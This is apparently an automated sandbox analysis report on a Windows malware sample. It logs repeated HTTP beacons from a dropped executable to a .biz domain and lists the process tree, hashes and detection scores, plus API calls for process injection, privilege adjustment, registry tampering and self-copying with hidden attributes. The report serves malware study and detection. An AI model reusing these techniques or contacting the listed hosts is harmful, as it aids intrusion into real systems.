Sep 7, 2024 15:36:24.073371887 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.3	61524	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:24.267636061 CEST	169	OUT	GET /d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:24.774418116 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:24 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.3	61525	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:24.782293081 CEST	201	OUT	GET /d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:25.284590960 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:25 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.3	55699	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:26.710438967 CEST	169	OUT	GET /d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:27.197906017 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:27 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.3	55700	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:27.220393896 CEST	201	OUT	GET /d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:27.709809065 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:27 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5B37 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.3	55702	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:29.141473055 CEST	169	OUT	GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:29.634191036 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:29 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.3	55703	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:29.640697002 CEST	201	OUT	GET /d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:30.147211075 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:30 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.3	55705	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:30.288595915 CEST	169	OUT	GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:30.779432058 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:30 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.3	55706	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:30.799482107 CEST	201	OUT	GET /d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:31.312599897 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:31 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869FBD4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Target ID:	0
Start time:	09:33:51
Start date:	07/09/2024
Path:	C:\Users\user\Desktop\5SGOAKv7AR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5SGOAKv7AR.exe"
Imagebase:	0x400000
File size:	106'721 bytes
MD5 hash:	36EC3A51B474CF8210BC02444A290499
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:33:52
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\edsuvoov-usum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\edsuvoov-usum.exe"
Imagebase:	0x400000
File size:	106'721 bytes
MD5 hash:	36EC3A51B474CF8210BC02444A290499
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:33:52
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\edsuvoov-usum.exe
Wow64 process (32bit):	true
Commandline:	--k33p
Imagebase:	0x400000
File size:	106'721 bytes
MD5 hash:	36EC3A51B474CF8210BC02444A290499
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:33:52
Start date:	07/09/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff61f6c0000
File size:	905'216 bytes
MD5 hash:	B2AD768FF9A9DE3D886825A59DEF307A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:33:52
Start date:	07/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff7721e0000
File size:	5'311'304 bytes
MD5 hash:	574AF6D80FE7CC6422A8592DE7A39F78
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 00403A19 Relevance: 629.5, APIs: 287, Strings: 71, Instructions: 2982registrystringfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403A27
GetVersionExA.KERNEL32(004120D0), ref: 00403A43
LoadLibraryA.KERNEL32(kernel32.dll), ref: 00403A74
GetProcAddress.KERNEL32(00000000,00407014), ref: 00403AA2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403ACC
GetCommandLineA.KERNEL32(00000104), ref: 00403AD4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403AF2
GetCurrentProcessId.KERNEL32 ref: 00403B09
Process32First.KERNEL32(?,?), ref: 00403B32
OpenProcess.KERNEL32(00100000,00000000,?), ref: 00403B6A
CloseHandle.KERNEL32(?,?,?), ref: 00403B7B
Process32Next.KERNEL32(?,?), ref: 00403B94
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403BAC
CloseHandle.KERNEL32(00000000,000000FF), ref: 00403BB5
GetStartupInfoA.KERNEL32(?), ref: 00403BC2
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403BE9
ExitProcess.KERNEL32(00000000), ref: 00403BF6
GetProcAddress.KERNEL32(00000000,CreateRemoteThread), ref: 00403C23
LoadLibraryA.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,00000104), ref: 00403C86
GetProcAddress.KERNEL32(00000000,NtAllocateVirtualMemory), ref: 00403C96
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 00403CA6
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 00403CB6
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 00403CC6
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,?,?,?,?,00000000,NtAllocateVirtualMemory), ref: 00403CE7
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403D13
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403D2E
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?), ref: 00403D82
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 00403DEC
CloseHandle.KERNEL32(?), ref: 00403E2B
GetProcAddress.KERNEL32(00000000,004070C4), ref: 00403E50
GetCurrentProcessId.KERNEL32(?,?,?,?,00000104), ref: 00403E7F
WSAStartup.WS2_32(00000002,?), ref: 00403E97
GetTickCount.KERNEL32 ref: 00403E9F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00000104), ref: 00403EA6
GetCurrentThreadId.KERNEL32 ref: 00403EAD
LoadLibraryA.KERNEL32(rasapi32.dll,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00403EDA
GetProcAddress.KERNEL32(00000000,RasEnumConnectionsA), ref: 00403F01
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00403F34
GetProcAddress.KERNEL32(00000000,GetIpAddrTable), ref: 00403F5B
LoadLibraryA.KERNEL32(wininet.dll), ref: 00403FD9
GetProcAddress.KERNEL32(00000000,InternetOpenA), ref: 00404042
GetProcAddress.KERNEL32(00000000,InternetOpenUrlA), ref: 00404052
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 00404062
GetProcAddress.KERNEL32(00000000,InternetSetOptionA), ref: 00404072
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 00404082
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404347
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000), ref: 00404366
ReadFile.KERNEL32(?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404386
CloseHandle.KERNEL32(?,?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404392
lstrcmpiA.KERNEL32(00000000,007C7CF0), ref: 0040445F
wsprintfA.USER32 ref: 004044BC
CreateMutexA.KERNEL32(0040F4FC,00000001,qnd_b__-13,?,?,?,?,?,?,?,?,00000000), ref: 004044D0
GetLastError.KERNEL32(qnd_b__-13,?,?,?,?,qnd_b__-13,?,?,?,?,?,?,?,?,00000000), ref: 004044E4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404506
RegDeleteValueA.ADVAPI32(00000000,ShellRegEx,?,?,?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404532
RegCloseKey.ADVAPI32(?,ShellRegEx,?,?,?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 0040453E
GetCurrentProcessId.KERNEL32(?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 0040456E
Process32First.KERNEL32(00000000,?), ref: 0040458C
lstrcmpiA.KERNEL32(00000000,007C7CF0), ref: 004045C1
OpenProcess.KERNEL32(00100201,00000000,?), ref: 004045DE
Process32Next.KERNEL32(00000000,?), ref: 00404603
CloseHandle.KERNEL32(00000000), ref: 00404613
SetPriorityClass.KERNEL32(?,00000040), ref: 00404633
TerminateProcess.KERNEL32(?,00000000), ref: 00404658
WaitForSingleObject.KERNEL32(007C7CF1,00001388), ref: 0040468F
CloseHandle.KERNEL32(007C7CF1,00001388), ref: 00404698
SetFileAttributesA.KERNEL32(?,00000080), ref: 004046BC
DeleteFileA.KERNEL32(?,00000080), ref: 004046C5
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,?,?,?,?,?,?,?,qnd_b__-13), ref: 004046F4
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040472B
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412170,?,?,?,0040F4FC,?,00000000), ref: 00404766
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00404790
RegCloseKey.ADVAPI32(?,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004047A1
RegDeleteKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy), ref: 004047BA
RegCloseKey.ADVAPI32(?,?,?,?,0040F4FC,?,00000000), ref: 004047CC
ExitProcess.KERNEL32(00000000,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 004047E2
CloseHandle.KERNEL32(?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404804
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 0040484E
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040487A
RegQueryValueExA.ADVAPI32(?,Extended Flags,00000000,00000000,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 004048B1
RegSetValueExA.ADVAPI32(?,Extended Flags,00000000,00000003,004120C4,0000000C,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004048D7
RegCloseKey.ADVAPI32(?,?,?,?,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 004048E9
ExpandEnvironmentStringsA.KERNEL32(%ComSpec%,?,00000104,?,?,?,?,?,?,?,004120C4,?,?,?,0040F4FC,?), ref: 00404906
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404925
GetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404954
CloseHandle.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404963
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 00404998
lstrcatA.KERNEL32(?,00411030,?,00000100,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 004049A9
lstrcatA.KERNEL32(00000000,007C7CF0,?,00411030,?,00000100,?,?,00000104), ref: 004049B0
lstrcpyA.KERNEL32(?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049E6
lstrcatA.KERNEL32(00000000,007C7CF0,?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049ED
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049FC
lstrcpyA.KERNEL32(?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A2B
lstrcatA.KERNEL32(00000000,007C7CF0,?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A32
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404A8F
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AA9
WriteFile.KERNEL32(00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC3
CloseHandle.KERNEL32(00000000,00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC9
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404AF2
SetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B1E
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B27
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B3C
CloseHandle.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B48
GetStartupInfoA.KERNEL32(?), ref: 00404B55
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00404B75
ExitProcess.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00000100,?,?,00000104), ref: 00404B7F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000104), ref: 00404BA5
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404BC3
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404BF8
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404C04
CreateThread.KERNEL32(00000000,00001000,00401379,?,00000000,?), ref: 00404C3F
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404C48
